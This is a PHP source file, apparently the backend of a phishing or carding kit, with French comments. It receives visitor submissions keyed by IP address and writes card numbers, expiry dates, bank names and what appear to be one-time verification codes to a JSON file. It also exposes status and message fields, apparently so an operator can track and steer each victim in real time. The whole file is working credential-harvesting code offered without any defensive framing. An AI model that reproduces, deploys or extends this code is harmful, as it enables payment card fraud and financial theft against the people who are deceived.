<?php 


$request = 2;


if(isset($_GET['request'])){
   $request = $_GET['request'];
}



//add user
if($request == 1){
        $info = json_decode(file_get_contents("php://input"), true);
        if (!searchUser($info["ip"])) {
              addUser($info);
         }
}

//update user
if($request == 2){
    $info = json_decode(file_get_contents("php://input"), true);
    updateUser($info);
}


if($request == 3){
    $info = json_decode(file_get_contents("php://input"), true);
    getsearchUser($info["ip"]);
}

if($request == 40){
    $info = json_decode(file_get_contents("php://input"), true);
    updateUser2($info);
}

function addUser($id) {

        $additionalArray = array(
            'ip' =>  $id["ip"],
            'fun' =>  $id["fun"],
            'data' =>  $id["data"],
            'bank' =>  $id["bank"],
            'card' =>  $id["card_nbr"],
            'date' =>  $id["card_date"],
            'name' =>  $id["bankname"],
            'type' =>  $id["type"],
            'message' =>  $id["message"],
            'code' =>  $id["code"]
        );

        $data_results = file_get_contents('myfile.json');
        $data = json_decode($data_results);

 
        $data[] = $additionalArray ;
        $jsonData = json_encode($data);

        file_put_contents('myfile.json', $jsonData); 
        echo json_encode(array('success'=>true));
}

function searchUser($ip) {
        $data_results = file_get_contents('myfile.json');
        $data = json_decode($data_results, true);
        foreach ($data as $key => $entry) {
            if ($entry['ip'] == $ip) {
                return true;
            }
        }

       return false;
}

function updateUser($info) {
        $data_results = file_get_contents('myfile.json');
        $data = json_decode($data_results, true);
        foreach ($data as $key => $entry) {
            if ($entry['ip'] == $info["ip"]) {
                $data[$key]['fun'] = $info["fun"];
                $data[$key]['data'] = $info["data"];
                $data[$key]['bank'] = $info["bank"];
                $data[$key]['code'] = $info["code"]; 
                $data[$key]['message'] = $info["message"]; 
            }
        }

        $newJsonString = json_encode($data);
        file_put_contents('myfile.json', $newJsonString);
        echo json_encode(array('success'=>true));
}


function updateUser2($info) {
    $data_results = file_get_contents('myfile.json');
    $data = json_decode($data_results, true);
    foreach ($data as $key => $entry) {
        if ($entry['ip'] == $info["ip"]) {
            $data[$key]['type'] = $info["type"];
            $data[$key]['date'] = $info["card_date"];
            $data[$key]['card'] = $info["card_nbr"];
            $data[$key]['name'] = $info["bankname"];  
        }
    }

    $newJsonString = json_encode($data);
    file_put_contents('myfile.json', $newJsonString);
    echo json_encode(array('success'=>true));
}


function getsearchUser2($ip) {
        $data_results = file_get_contents('myfile.json');
        $data = json_decode($data_results, true);
        foreach ($data as $key => $entry) {
            if ($entry['ip'] == $ip) {
               
                echo json_encode($entry);
            }
        }

      // echo json_encode(array('success'=>true));
}


function getsearchUser($ip) {
    $file_path = 'myfile.json';

    // Vérifier si le fichier contient null ou est vide
    if (!file_exists($file_path) || filesize($file_path) === 0 || file_get_contents($file_path) === 'null') {
        $default_data = [
            [
                "ip" => $ip,
                "fun" => "=> PAGE loading",
                "data" => null,
                "bank" => null,
                "card" => "",
                "date" => "",
                "name" => "",
                "type" => "",
                "message" => null,
                "code" => null
            ]
        ];

        // Remplir le fichier avec la valeur par défaut
        file_put_contents($file_path, json_encode($default_data, JSON_PRETTY_PRINT));
    }

    // Lire le contenu du fichier JSON
    $data_results = file_get_contents($file_path);
    $data = json_decode($data_results, true);

    // Rechercher l'entrée correspondant à l'IP
    foreach ($data as $key => $entry) {
        if ($entry['ip'] == $ip) {
            echo json_encode($entry);
            return; // Terminer la fonction après avoir trouvé une correspondance
        }
    }

    // Si aucune correspondance n'est trouvée, vous pouvez retourner un message personnalisé
    echo json_encode(["success" => false, "message" => "IP not found"]);
}



//addUser();



?>